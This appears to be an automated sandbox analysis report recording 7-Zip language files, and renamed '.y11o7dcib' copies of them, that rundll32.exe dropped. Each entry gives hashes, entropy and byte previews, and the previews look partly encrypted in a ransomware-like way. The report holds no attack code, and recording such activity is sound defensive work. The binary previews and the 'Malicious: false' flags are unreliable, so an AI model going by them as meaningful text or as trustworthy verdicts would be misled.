SHA-256:	0AD723E071E14B02B4E27EAA9668A3ADA5A689F513C5E89995261E78918C2CD8
SHA-512:	08419C152ED04235C880ACCAF30AF11DC2923D2C1EABC89C0B7D43998003B5D85DEFE779C45F22064F38C158FD12D4EFB00F9D4CEB704A0CC8623D796D193765
Malicious:	false
Preview:	...b7l3...E.@.Id...._Dm.{.1.y>\|$..v.9q..........v.z....<.0t@...;..;..;..0..7-Zip..Asturian..Asturianu..401..Val..Torgar........&Si..&Non..&Zarrar..Axuda....&Siguir..440..Si a &Too..Non a T&oo-.~.1.R_.8.`^a.b(... .m.:.b.N.....k.$y.....r....k...o.3;.d.+....Tas fixu que quies paralo?..500..F&icheru..&Remanar..&Ver..F&avoritos..&Ferramientes..A&xuda..540..&Abrir..Abrir &Dientro..AbrIe..e.E .g.#fp..C....,.X.T.-q. ....kW....3....@.V.a.[C.jWd.&Borrar..&Partir ficheru.....Com&binar ficheros.....P&ropiedaes..Come&ntariu......Crear carpeta..Crear ficheru..Co&lar..600..SelE~M.,.A .L.j_..K,......$.;.t.7qW@..R.;q.....`.......`.4b.g.#...nar.....Deseleicionar.....Seleicionar por Tipu..Deseleicionar por Tipu..700..Miniatures &Grandes..&Miniatures Peque.es..&Llista-...&.A>....:".?D....#...b.-.J@.....4....v........k..U.+?/...mientes..Abrir Carpeta Raiz..Xubir Un Nivel..Hestorial de Carpetes.....Actualiza&r..750..Barra Ferramientes d.Archivu..Barra FeReO.*.N&...K_g.n%.....#.&.A."p\(.... {.

C:\Program Files\7-Zip\Lang\az.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9933
Entropy (8bit):	6.838506168529244
Encrypted:	false
SSDEEP:	192:XZZUANkmY+aQthbm84iukTprcgoVMywX9YE51FvwMJfTUEBa2/EmmS:XZImYuTnl5wMyGrJ7UEwXU
MD5:	10C89FE903CD05F9CAC3824B727DDF8D
SHA1:	5C692EF2346794B58A31F366464893CB6BEF2731
SHA-256:	7E7790A235BDEE8B7F30476D246EFA6E0C690A778D9432CD49E89DACC6FF8322
SHA-512:	F22C163C5BF02131DE3572A5ABDCA474EB85C703CFEE8AE83664C0D65123AD6835B29BEFA596C0213919AE3241EA74C879A3D67825D1C8DF84E1380FA094096D
Malicious:	false
Preview:	-.n....pva....6.....2...{....FB!.R....t..!............=c.. .........;..;..;..;..;..;..;..;..;..0..7-Zip..Azerbaijani..Az.rbaycanca..401..OLDU...mtina........&B.li..&Xeyr..&Ba.]0G8."..U....}..=..Of..q....ON.x..h.S....w.....ZUwH5N.\|..eyr..Dayan..Yenid.n ba.lamaq..&Arxa planda...&nd...F&asil...Fasil.d...H.qiq.t.n .m.liyyat. dayand.rmaq ist.yirsin.&.X.f....u..<.}...E.7.g.e..K..wc\...H...?1..J.5............;..sit.l.r..&Aray....540..&A.maq..&Daxild. A.maq..B&ay.rda a.maq..&Bax....&D.z.li...Ye&nid.n Adland.rmaq..&N.sx.l..K.38..0.Y..I.hM>i.lgE%...g....../..^....YQU..\|B\......\|..lar. B&irl..dirm.k.....X&.susiyy.tl.r....r&h.....Yoxlama C.mi..M.qayis...Qovluq Yaratmaq..Fayl Yaratmaq...&.x.....&.:..z.Y....V......J.d7.-.....u.O.._..@..'j...6..h......imin L..vi..&Se.imi .evirm.k..Se.m.k.....Se.imin L..vi.....N.v.n. G.r. Se.m.k..N.v.n. G.r. Se.imin L..]*OX.d....u...s..I`aOy!9.c......J.n..

C:\Program Files\7-Zip\Lang\az.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9933
Entropy (8bit):	6.838506168529244
Encrypted:	false
SSDEEP:	192:XZZUANkmY+aQthbm84iukTprcgoVMywX9YE51FvwMJfTUEBa2/EmmS:XZImYuTnl5wMyGrJ7UEwXU
MD5:	10C89FE903CD05F9CAC3824B727DDF8D
SHA1:	5C692EF2346794B58A31F366464893CB6BEF2731
SHA-256:	7E7790A235BDEE8B7F30476D246EFA6E0C690A778D9432CD49E89DACC6FF8322
SHA-512:	F22C163C5BF02131DE3572A5ABDCA474EB85C703CFEE8AE83664C0D65123AD6835B29BEFA596C0213919AE3241EA74C879A3D67825D1C8DF84E1380FA094096D
Malicious:	false
Preview:	-.n....pva....6.....2...{....FB!.R....t..!............=c.. .........;..;..;..;..;..;..;..;..;..0..7-Zip..Azerbaijani..Az.rbaycanca..401..OLDU...mtina........&B.li..&Xeyr..&Ba.]0G8."..U....}..=..Of..q....ON.x..h.S....w.....ZUwH5N.\|..eyr..Dayan..Yenid.n ba.lamaq..&Arxa planda...&nd...F&asil...Fasil.d...H.qiq.t.n .m.liyyat. dayand.rmaq ist.yirsin.&.X.f....u..<.}...E.7.g.e..K..wc\...H...?1..J.5............;..sit.l.r..&Aray....540..&A.maq..&Daxild. A.maq..B&ay.rda a.maq..&Bax....&D.z.li...Ye&nid.n Adland.rmaq..&N.sx.l..K.38..0.Y..I.hM>i.lgE%...g....../..^....YQU..\|B\......\|..lar. B&irl..dirm.k.....X&.susiyy.tl.r....r&h.....Yoxlama C.mi..M.qayis...Qovluq Yaratmaq..Fayl Yaratmaq...&.x.....&.:..z.Y....V......J.d7.-.....u.O.._..@..'j...6..h......imin L..vi..&Se.imi .evirm.k..Se.m.k.....Se.imin L..vi.....N.v.n. G.r. Se.m.k..N.v.n. G.r. Se.imin L..]*OX.d....u...s..I`aOy!9.c......J.n..

C:\Program Files\7-Zip\Lang\ba.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11555
Entropy (8bit):	6.4103657981151505
Encrypted:	false
SSDEEP:	192:rrpIGguxIEGrSrRlua1SPOsv3WvoRQ0aaP8lhlfN2ZItN9YQ9R/KIOZVS:5IFgIEPdlh1SPvSXV2ZsNP9R/KIOa
MD5:	F1234F98FBB158DD30C406469672D9B7
SHA1:	3133FDBD0584F0F1662FA32ED55694C12A8CF50E
SHA-256:	A4BA3B433B3C11245A1F40B6AEAC81C5EC0CA4322F1F015B182CEAB1E85947A1
SHA-512:	5A7138A9775CB84E8FA1017CA661E89683E8F5C5097C4F93786CA841F7827520B8E30EDBA11C7C5FA6AFAEF3A39BC7A7E3FE71DA1E4F2D402CCE3D2087F9FBFD
Malicious:	false
Preview:	.\.`...$.M.....L.h....V.O...9....Jn..l^.Ku+.+.0..(H.r%...:....;..0..7-Zip..Bashkir.............401............. ..........&.....&....&.............&.....[.Q.....p{\..I....j...C..9q...k.......Y.<.S.(%..oY.>]$q.................... .......&..... .........&... ........&........ ...........\....>.....pt^..p...~2.`.s....m..m..`..t..m...CF...[..8O..z.........?..500..&........&......&..........&............&........&.........540..M7..{ReTY.......#.....U.a..p<mW...q..Y&`..o...Bw...Z...N).c.......&.....&...............&...... .............&.................&.......~6u......(..."..4...Q.A....l7....0m...hQ...n.#%..iZ..=N".3{..&................&..........&................. ......Diff..... ...............>.~S^U`..#........<h.0.V.....5i..

C:\Program Files\7-Zip\Lang\ba.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11555
Entropy (8bit):	6.4103657981151505
Encrypted:	false
SSDEEP:	192:rrpIGguxIEGrSrRlua1SPOsv3WvoRQ0aaP8lhlfN2ZItN9YQ9R/KIOZVS:5IFgIEPdlh1SPvSXV2ZsNP9R/KIOa
MD5:	F1234F98FBB158DD30C406469672D9B7
SHA1:	3133FDBD0584F0F1662FA32ED55694C12A8CF50E
SHA-256:	A4BA3B433B3C11245A1F40B6AEAC81C5EC0CA4322F1F015B182CEAB1E85947A1
SHA-512:	5A7138A9775CB84E8FA1017CA661E89683E8F5C5097C4F93786CA841F7827520B8E30EDBA11C7C5FA6AFAEF3A39BC7A7E3FE71DA1E4F2D402CCE3D2087F9FBFD
Malicious:	false
Preview:	.\.`...$.M.....L.h....V.O...9....Jn..l^.Ku+.+.0..(H.r%...:....;..0..7-Zip..Bashkir.............401............. ..........&.....&....&.............&.....[.Q.....p{\..I....j...C..9q...k.......Y.<.S.(%..oY.>]$q.................... .......&..... .........&... ........&........ ...........\....>.....pt^..p...~2.`.s....m..m..`..t..m...CF...[..8O..z.........?..500..&........&......&..........&............&........&.........540..M7..{ReTY.......#.....U.a..p<mW...q..Y&`..o...Bw...Z...N).c.......&.....&...............&...... .............&.................&.......~6u......(..."..4...Q.A....l7....0m...hQ...n.#%..iZ..=N".3{..&................&..........&................. ......Diff..... ...............>.~S^U`..#........<h.0.V.....5i..

C:\Program Files\7-Zip\Lang\be.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12175
Entropy (8bit):	6.249259760499481
Encrypted:	false
SSDEEP:	192:mARxaE0HMR1SFndwB3mLP0Wq/eKgGx70LoDSBs05r68PR2o9Qgo22XS:mAXzwXYBWSgqohBsIr6852oKgo22i
MD5:	B74ABE45C8757FA7222EF3A921329C47
SHA1:	80E4569A3FE69D5B2B1D7E963CE1EE698E03BAC5
SHA-256:	6BBD7538A2C56C00E88FC823C52BB8FBC2FA3C3219B5846F6023F2B2F6037CBD
SHA-512:	0C28CDDE4ED46E0554C26729F65BFF532CD4ADE8603F92F4E1FD5063EDAB1351099C9D757B4DB9A9394864D1787951283A2B3CABBEF85ECB3525D3AB9FBE23FF
Malicious:	false
Preview:	r.H...x..l.Q[\.6..o..lxec..........re..D..s.Z.!.)....^j..sB.4.; 9.07 : 2011-03-15 : Drive DRKA..;..;..;..;..;..;..;..;..;..0..7-Zip..Belarusian..............401..OK.........\....9.....K}".....UOe-...D{.G9 ..K.m.tRn.K..8.u.iU..O..,..............440..... ... &........ ... .&.......................&.......&.. .L.&x'".Li..Z.N.....ZRc.b.{s.,..Y.......s.RJ.e..=c..ET./.X.\...... ....... .......... ........?..500..&......&........&........&..........V.&..xi....z.......-...EL?...,.t.qs.R@.{....E..U..K....... &................... .&................&................&.........&..M.&n' .Ji......`!.]~..-.."EL.p8...K.wr.Sv:*.Cc.c...../m.\........&..... ..........&.'...... .............&...........&................-.x.'..{i..w...NXC.8....-...D\|.G8......

C:\Program Files\7-Zip\Lang\be.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12175
Entropy (8bit):	6.249259760499481
Encrypted:	false
SSDEEP:	192:mARxaE0HMR1SFndwB3mLP0Wq/eKgGx70LoDSBs05r68PR2o9Qgo22XS:mAXzwXYBWSgqohBsIr6852oKgo22i
MD5:	B74ABE45C8757FA7222EF3A921329C47
SHA1:	80E4569A3FE69D5B2B1D7E963CE1EE698E03BAC5
SHA-256:	6BBD7538A2C56C00E88FC823C52BB8FBC2FA3C3219B5846F6023F2B2F6037CBD
SHA-512:	0C28CDDE4ED46E0554C26729F65BFF532CD4ADE8603F92F4E1FD5063EDAB1351099C9D757B4DB9A9394864D1787951283A2B3CABBEF85ECB3525D3AB9FBE23FF
Malicious:	false
Preview:	r.H...x..l.Q[\.6..o..lxec..........re..D..s.Z.!.)....^j..sB.4.; 9.07 : 2011-03-15 : Drive DRKA..;..;..;..;..;..;..;..;..;..0..7-Zip..Belarusian..............401..OK.........\....9.....K}".....UOe-...D{.G9 ..K.m.tRn.K..8.u.iU..O..,..............440..... ... &........ ... .&.......................&.......&.. .L.&x'".Li..Z.N.....ZRc.b.{s.,..Y.......s.RJ.e..=c..ET./.X.\...... ....... .......... ........?..500..&......&........&........&..........V.&..xi....z.......-...EL?...,.t.qs.R@.{....E..U..K....... &................... .&................&................&.........&..M.&n' .Ji......`!.]~..-.."EL.p8...K.wr.Sv:*.Cc.c...../m.\........&..... ..........&.'...... .............&...........&................-.x.'..{i..w...NXC.8....-...D\|.G8......

C:\Program Files\7-Zip\Lang\bg.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13410
Entropy (8bit):	6.1064607682821785
Encrypted:	false
SSDEEP:	384:LuPGWxdUn7PUWollXDVpBUqOkHuVHglvb1:ooQWYDjDHmwvx
MD5:	346B62CF70D1A2CB0C0E1E24946646BF
SHA1:	0D66A9DA737A540FC0726C8DB9D61A186E25E6FB
SHA-256:	B202F515016F6A44470B0BA06E85D1DB0396148FC4A8D7C3D5679971C425AAF0
SHA-512:	39B04A162E627B984BAB2B81891B5C4D5E2EF307FAC75ACC82CF28FEA406B45D2040275E182FBBC57B4A8C318A5BB010BC9D428496D21C1520798B905ACD2C06
Malicious:	false
Preview:	[..Z1............j....FP....=.?B.J.y.@.!P...p.$..jX/.8.s..: Vassia Atanassova..;..;..;..;..;..;..;..;..0..7-Zip..Bulgarian.............401..OK...............&....&....&d.....C+%6W"..(h-1...R=U..t.$-.X.>..W..1.2........o.....W...... .. &.......... .. &................ ........&..... .......&........ ......{.\|..%.V...(b-4..._.;....\|}.k...B...0.2.......f...4.1.}\H.... .. ..........?..500..&......&.............&...........&........&.......d.....C!...r..F.AT#P.....V}..}.j.]\..C...1.3.}8...".o....1.}R.&........... &.......&...........&.................&..........&........ ..-s.q..HuV3...(`,.L...=[....}..{..C.....0.2........`.._....7/...... .. ..........&.......... .. ............&.............&................{.#IHV3...(e.T'Q..P:....A}.k.]^i....

C:\Program Files\7-Zip\Lang\bg.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13410
Entropy (8bit):	6.1064607682821785
Encrypted:	false
SSDEEP:	384:LuPGWxdUn7PUWollXDVpBUqOkHuVHglvb1:ooQWYDjDHmwvx
MD5:	346B62CF70D1A2CB0C0E1E24946646BF
SHA1:	0D66A9DA737A540FC0726C8DB9D61A186E25E6FB
SHA-256:	B202F515016F6A44470B0BA06E85D1DB0396148FC4A8D7C3D5679971C425AAF0
SHA-512:	39B04A162E627B984BAB2B81891B5C4D5E2EF307FAC75ACC82CF28FEA406B45D2040275E182FBBC57B4A8C318A5BB010BC9D428496D21C1520798B905ACD2C06
Malicious:	false
Preview:	[..Z1............j....FP....=.?B.J.y.@.!P...p.$..jX/.8.s..: Vassia Atanassova..;..;..;..;..;..;..;..;..0..7-Zip..Bulgarian.............401..OK...............&....&....&d.....C+%6W"..(h-1...R=U..t.$-.X.>..W..1.2........o.....W...... .. &.......... .. &................ ........&..... .......&........ ......{.\|..%.V...(b-4..._.;....\|}.k...B...0.2.......f...4.1.}\H.... .. ..........?..500..&......&.............&...........&........&.......d.....C!...r..F.AT#P.....V}..}.j.]\..C...1.3.}8...".o....1.}R.&........... &.......&...........&.................&..........&........ ..-s.q..HuV3...(`,.L...=[....}..{..C.....0.2........`.._....7/...... .. ..........&.......... .. ............&.............&................{.#IHV3...(e.T'Q..P:....A}.k.]^i....

C:\Program Files\7-Zip\Lang\bn.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15351
Entropy (8bit):	5.889467527363133
Encrypted:	false
SSDEEP:	384:CpAcB9Aqa/sd3gAzproYlGmFGRGBH+6kxPW5g:k9Aqa/kQAVxY
MD5:	E01C5E158C1E33B14FCC92F4862B5700
SHA1:	A99D8AA1EB21E56001EA0F0AC4E2E257BF7ABCBA
SHA-256:	3B9D810E1630D9679F227EE1B09C3FF67C35F875D35C1BAC0B23B974253903D1
SHA-512:	4EE3FFAEECE5712DDD905C92ADC932CB5BA7501A7A064E72E775C7E2A536E462A355F4B883EEEC08F6A5BB55BEE38EDAEBA95E30E837D8BB48CDEC84916BD2CC
Malicious:	false
Preview:	.......j...i...\|..J1.c/iZ.....:.d..&0.j<[...y...H.....!m, ...+n, Mahmud Hassan)..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Bangla.........401..... .................3...7.3.@./.f{..U.o...e;..d.........>.$.%....EYO.vF..Gb"...........&...... .......440..&....... .... ........&....BU.6.,.+nI....`.M%............h.......>.W%.%....KYO.[.....E\|....&........& .......&.............. ............... ...].4..*.2.@.2. c.......L......h........y6c.PLl&...k].....z\|....&..................&..&.......&........&........540..&.yU...-..(At.!.&. b..../..9.#-....U..+.#..Q.c.L..AR4.......Q\|.. ........... ........ .....&..........&..............].$k.(Et...&. c.......L.!}..c.#....

C:\Program Files\7-Zip\Lang\bn.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15351
Entropy (8bit):	5.889467527363133
Encrypted:	false
SSDEEP:	384:CpAcB9Aqa/sd3gAzproYlGmFGRGBH+6kxPW5g:k9Aqa/kQAVxY
MD5:	E01C5E158C1E33B14FCC92F4862B5700
SHA1:	A99D8AA1EB21E56001EA0F0AC4E2E257BF7ABCBA
SHA-256:	3B9D810E1630D9679F227EE1B09C3FF67C35F875D35C1BAC0B23B974253903D1
SHA-512:	4EE3FFAEECE5712DDD905C92ADC932CB5BA7501A7A064E72E775C7E2A536E462A355F4B883EEEC08F6A5BB55BEE38EDAEBA95E30E837D8BB48CDEC84916BD2CC
Malicious:	false
Preview:	.......j...i...\|..J1.c/iZ.....:.d..&0.j<[...y...H.....!m, ...+n, Mahmud Hassan)..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Bangla.........401..... .................3...7.3.@./.f{..U.o...e;..d.........>.$.%....EYO.vF..Gb"...........&...... .......440..&....... .... ........&....BU.6.,.+nI....`.M%............h.......>.W%.%....KYO.[.....E\|....&........& .......&.............. ............... ...].4..*.2.@.2. c.......L......h........y6c.PLl&...k].....z\|....&..................&..&.......&........&........540..&.yU...-..(At.!.&. b..../..9.#-....U..+.#..Q.c.L..AR4.......Q\|.. ........... ........ .....&..........&..............].$k.(Et...&. c.......L.!}..c.#....

C:\Program Files\7-Zip\Lang\br.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5671
Entropy (8bit):	6.730444977601267
Encrypted:	false
SSDEEP:	96:uQICvy3NtDq4JPP1zkUZtCM42TWwukOaSlKkAQnzUgtNCZWE8qH+LbqfeBriRJm9:bIMmQmPdzxZ42TWUlSl1AQnNXCZN8qe/
MD5:	9DCB2C628B183815CE942654D0550F98
SHA1:	D265C289AB9103767D461766CB0694D09021BB47
SHA-256:	13612F48923B2F8D058156805F1BD7570F4AEF80BBAED3D3A308EAF744C76755
SHA-512:	AA181485C72A62FEB88A8359F3EAE20AAB25DAA45C9BDBEB875222DBE2AB564309F875CD367B3F19A164D5B09862C6F9D363E379ED3728E6499DB1ED4624D145
Malicious:	false
Preview:	-.G..L.8......N...\|5.)\|.....P.....#.A.7...-.!F...F.P......Q.;..;..;..;..;..;..;..;..;..0..7-Zip..Breton..Brezhoneg..401..Mat eo..Nulla.........&Ya..&Ket..&Serri...Skoazell....&Kenderc'he.E...<.S...7.oj/..P2..}\|.........E..V.S..-M....z.>.a........&Rakleur..&Ehan..Ehanet..Ha fellout a ra deoc'h nulla. ?..500..&Restr..&Aoza...&Gwelout..Di&babo...&Ostilho...&Skoazell..540.B.Jk.+.X..s:..4._.hq........,.T.,.`\|.#.......Q.({........&Aoza...Adenv&el..&Kopia. diwar.....&Dilec'hia. diwar.....D&ilemel..&Troc'ha. restr.....&Kendeuzi. restro......P&erzhio.{E.Ui.1...1.'tP..W5..l*..J....)b.V.;...b\.......P......`.0..Diuz pep &tra..Diziuz pe tra..Lakaat an &diuzad war an tu gin..Diuz.....Diziuz.....Diuz diouzh ar rizh..Diziuz diouzh ar rizh.B........U;.&..?J...V.....$.....[.0...-B.k...Z.A.k....Y...Dirummet....&2 brenestr..&Barrenno. ostilho...Digeri. an teul gwrizienn..Teul kerent..Roll istor an teul.....Fresk&aat..750.....Qi.7..I0.%.W../J..g\|.........i..W.2

C:\Program Files\7-Zip\Lang\br.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5671
Entropy (8bit):	6.730444977601267
Encrypted:	false
SSDEEP:	96:uQICvy3NtDq4JPP1zkUZtCM42TWwukOaSlKkAQnzUgtNCZWE8qH+LbqfeBriRJm9:bIMmQmPdzxZ42TWUlSl1AQnNXCZN8qe/
MD5:	9DCB2C628B183815CE942654D0550F98
SHA1:	D265C289AB9103767D461766CB0694D09021BB47
SHA-256:	13612F48923B2F8D058156805F1BD7570F4AEF80BBAED3D3A308EAF744C76755
SHA-512:	AA181485C72A62FEB88A8359F3EAE20AAB25DAA45C9BDBEB875222DBE2AB564309F875CD367B3F19A164D5B09862C6F9D363E379ED3728E6499DB1ED4624D145
Malicious:	false
Preview:	-.G..L.8......N...\|5.)\|.....P.....#.A.7...-.!F...F.P......Q.;..;..;..;..;..;..;..;..;..0..7-Zip..Breton..Brezhoneg..401..Mat eo..Nulla.........&Ya..&Ket..&Serri...Skoazell....&Kenderc'he.E...<.S...7.oj/..P2..}\|.........E..V.S..-M....z.>.a........&Rakleur..&Ehan..Ehanet..Ha fellout a ra deoc'h nulla. ?..500..&Restr..&Aoza...&Gwelout..Di&babo...&Ostilho...&Skoazell..540.B.Jk.+.X..s:..4._.hq........,.T.,.`\|.#.......Q.({........&Aoza...Adenv&el..&Kopia. diwar.....&Dilec'hia. diwar.....D&ilemel..&Troc'ha. restr.....&Kendeuzi. restro......P&erzhio.{E.Ui.1...1.'tP..W5..l*..J....)b.V.;...b\.......P......`.0..Diuz pep &tra..Diziuz pe tra..Lakaat an &diuzad war an tu gin..Diuz.....Diziuz.....Diuz diouzh ar rizh..Diziuz diouzh ar rizh.B........U;.&..?J...V.....$.....[.0...-B.k...Z.A.k....Y...Dirummet....&2 brenestr..&Barrenno. ostilho...Digeri. an teul gwrizienn..Teul kerent..Roll istor an teul.....Fresk&aat..750.....Qi.7..I0.%.W../J..g\|.........i..W.2

C:\Program Files\7-Zip\Lang\ca.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SoftQuad troff Context intermediate
Category:	dropped
Size (bytes):	9612
Entropy (8bit):	6.669084462935175
Encrypted:	false
SSDEEP:	192:pUNM5+BJ4wwV15TGqo5C3bgKKuBIe33es5spS2ROVwNf/B9KwRZeqDtyOzBWWsS:pUzj4ww5TGqo5C3F1eww/B9b4gDBWY
MD5:	75EC1A4E8CC0D46DED29BE5843488274
SHA1:	2B94DB8D3911345EF8694A9422BB11EDB1269463
SHA-256:	FE63D42EB15F35B2BCE86D06B293E4DC3AC33CD8EFDAC1A435F6A7412342C1BE
SHA-512:	05E35C010FB7E1EAB665F01ED2BAFEC2CBDBA53EE7EB95A377F5400F668B9A5132808AB31398F50F25EF5207530A51FE205E6E6CC8A5296FD923E23F9303661D
Malicious:	false
Preview:	X K..%.Lh...a\|..3.......M..".2`7..Q..NM....G$.m.n..ji.L.&....e1.: Benet..BennyBeat..R..i.Camps..;..;..;..;..;..;..;..;..;..0..7-Zip..Catalan..Catal...401..D'acord..Cancel.la..........7..o.cib...Z........D.p..[..{-.......Gr...o....}........:t..Atura..Re&inicia..Rere&fons..Prim&er pla..&Pausa..Pausat..Segur que voleu cancel.lar?..500..&Fitxer..&Edita..&Visualitza..&P...P...^.e...ZM......D.H...^@&..\|.._^._..c+...g..l!. ......isualitza..&Edita..Reanom&ena..&Copia a.....&Mou a.....&Suprimeix..&Divideix el fitxer.....Com&bina el fitxer.....P&ropietats..C......._ob...XK..j....P..]..8..}-.....T..r.e(.o.I..Js.'....4rpeta..Crea un fitxer..S&urt..Enlla&...Flux &alternatiu..600..Seleccion&a-ho tot..No seleccionis res..&Inverteix la selecci......P...Bh...9"..x...F.....6.u.......TC...o7.z.X.....#.....6iona per tipus..700..Icones g&rans..Icones petites..&Llista..&Detalls..730..No ordenat..Vista plana..&2 Panells..&Barres d'eines...W...AgO...DM..+...(.....}../4.....u

C:\Program Files\7-Zip\Lang\ca.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SoftQuad troff Context intermediate
Category:	dropped
Size (bytes):	9612
Entropy (8bit):	6.669084462935175
Encrypted:	false
SSDEEP:	192:pUNM5+BJ4wwV15TGqo5C3bgKKuBIe33es5spS2ROVwNf/B9KwRZeqDtyOzBWWsS:pUzj4ww5TGqo5C3F1eww/B9b4gDBWY
MD5:	75EC1A4E8CC0D46DED29BE5843488274
SHA1:	2B94DB8D3911345EF8694A9422BB11EDB1269463
SHA-256:	FE63D42EB15F35B2BCE86D06B293E4DC3AC33CD8EFDAC1A435F6A7412342C1BE
SHA-512:	05E35C010FB7E1EAB665F01ED2BAFEC2CBDBA53EE7EB95A377F5400F668B9A5132808AB31398F50F25EF5207530A51FE205E6E6CC8A5296FD923E23F9303661D
Malicious:	false
Preview:	X K..%.Lh...a\|..3.......M..".2`7..Q..NM....G$.m.n..ji.L.&....e1.: Benet..BennyBeat..R..i.Camps..;..;..;..;..;..;..;..;..;..0..7-Zip..Catalan..Catal...401..D'acord..Cancel.la..........7..o.cib...Z........D.p..[..{-.......Gr...o....}........:t..Atura..Re&inicia..Rere&fons..Prim&er pla..&Pausa..Pausat..Segur que voleu cancel.lar?..500..&Fitxer..&Edita..&Visualitza..&P...P...^.e...ZM......D.H...^@&..\|.._^._..c+...g..l!. ......isualitza..&Edita..Reanom&ena..&Copia a.....&Mou a.....&Suprimeix..&Divideix el fitxer.....Com&bina el fitxer.....P&ropietats..C......._ob...XK..j....P..]..8..}-.....T..r.e(.o.I..Js.'....4rpeta..Crea un fitxer..S&urt..Enlla&...Flux &alternatiu..600..Seleccion&a-ho tot..No seleccionis res..&Inverteix la selecci......P...Bh...9"..x...F.....6.u.......TC...o7.z.X.....#.....6iona per tipus..700..Icones g&rans..Icones petites..&Llista..&Detalls..730..No ordenat..Vista plana..&2 Panells..&Barres d'eines...W...AgO...DM..+...(.....}../4.....u

C:\Program Files\7-Zip\Lang\co.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11266
Entropy (8bit):	6.635824237620719
Encrypted:	false
SSDEEP:	192:QtzYww+7zB1dotAHbmuHm8kPq3sZPdr6Y+nrVrdIoqJj9KS9mgtWVJbcnS:QtzBJ6AHb5Hm8kPSQlOZnr7Ioqd95xGb
MD5:	64B4C8EE933C66472D410037D3F936DD
SHA1:	42358CC73F6230FE95CD56DD4178C97F6681CB9A
SHA-256:	5CBF46E78B9020324415853029A3B67BF94FC16E9FA831B097B0BCE72E4FF981
SHA-512:	1FCA07589504622752134D12D5DCBDD1AD6C79E6BF9704E51906469461B51A2BFE26BDCAD45B465CCBE812A5D015750828410C7CCB724E3BFD97BFFD5678D412
Malicious:	false
Preview:	..pS..3~.;/.vk..p.'U...../.NN.Ij\........u..}...L.......=.4... Maria . Sich. (Latest Update)..; 9.20 : 2010-12-12 : Patriccollu di Santa Maria . Sich. (Creation)..;..;..;..;..;..;..;..;&y.e.\|r..qG.'3.2.u1..M..B.....qn^.0..X..`7..g.c..L.y.4...s.w4..&N...&Chjode..Aiutu....&Cuntinu...440..S. per &tutti..N. per t&utti..Piant...Rilanci...Tacca di &fondu..&Primu pianu..&PJ....F6q.,\|.$_....j=.....s......z...O...T0.j.k<.&z%...[..o. ...Mudific...&Affiss...&Favuriti..A&ttrezzi..Ai&utu..540..&Apre..Apre den&tru..Apre f&ora..&Fighj...&Mudific...&Rinumin...&CupB.oH.).l...dZ4..4.v1..Y$P!........u.0..@..R&7...0$_.......n.=...riu...&Unisce i schedarii...&Prupriet...Cumme&ntu...Calcul. a somma di cuntrollu..Paragun. e sfarenze..Cre. un cartulaY..b.>.. \|h.wM..8.g.....D...y.73...7.]..R<../.b.]....H....e...&Tuttu selezziun....n selezziun. &nunda..&Arritrus. a selezzione..&Selezziun.....n &micca selezziun....Selezziun. da.....<......wM..8.\|1...G.e...T.......<

C:\Program Files\7-Zip\Lang\co.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11266
Entropy (8bit):	6.635824237620719
Encrypted:	false
SSDEEP:	192:QtzYww+7zB1dotAHbmuHm8kPq3sZPdr6Y+nrVrdIoqJj9KS9mgtWVJbcnS:QtzBJ6AHb5Hm8kPSQlOZnr7Ioqd95xGb
MD5:	64B4C8EE933C66472D410037D3F936DD
SHA1:	42358CC73F6230FE95CD56DD4178C97F6681CB9A
SHA-256:	5CBF46E78B9020324415853029A3B67BF94FC16E9FA831B097B0BCE72E4FF981
SHA-512:	1FCA07589504622752134D12D5DCBDD1AD6C79E6BF9704E51906469461B51A2BFE26BDCAD45B465CCBE812A5D015750828410C7CCB724E3BFD97BFFD5678D412
Malicious:	false
Preview:	..pS..3~.;/.vk..p.'U...../.NN.Ij\........u..}...L.......=.4... Maria . Sich. (Latest Update)..; 9.20 : 2010-12-12 : Patriccollu di Santa Maria . Sich. (Creation)..;..;..;..;..;..;..;..;&y.e.\|r..qG.'3.2.u1..M..B.....qn^.0..X..`7..g.c..L.y.4...s.w4..&N...&Chjode..Aiutu....&Cuntinu...440..S. per &tutti..N. per t&utti..Piant...Rilanci...Tacca di &fondu..&Primu pianu..&PJ....F6q.,\|.$_....j=.....s......z...O...T0.j.k<.&z%...[..o. ...Mudific...&Affiss...&Favuriti..A&ttrezzi..Ai&utu..540..&Apre..Apre den&tru..Apre f&ora..&Fighj...&Mudific...&Rinumin...&CupB.oH.).l...dZ4..4.v1..Y$P!........u.0..@..R&7...0$_.......n.=...riu...&Unisce i schedarii...&Prupriet...Cumme&ntu...Calcul. a somma di cuntrollu..Paragun. e sfarenze..Cre. un cartulaY..b.>.. \|h.wM..8.g.....D...y.73...7.]..R<../.b.]....H....e...&Tuttu selezziun....n selezziun. &nunda..&Arritrus. a selezzione..&Selezziun.....n &micca selezziun....Selezziun. 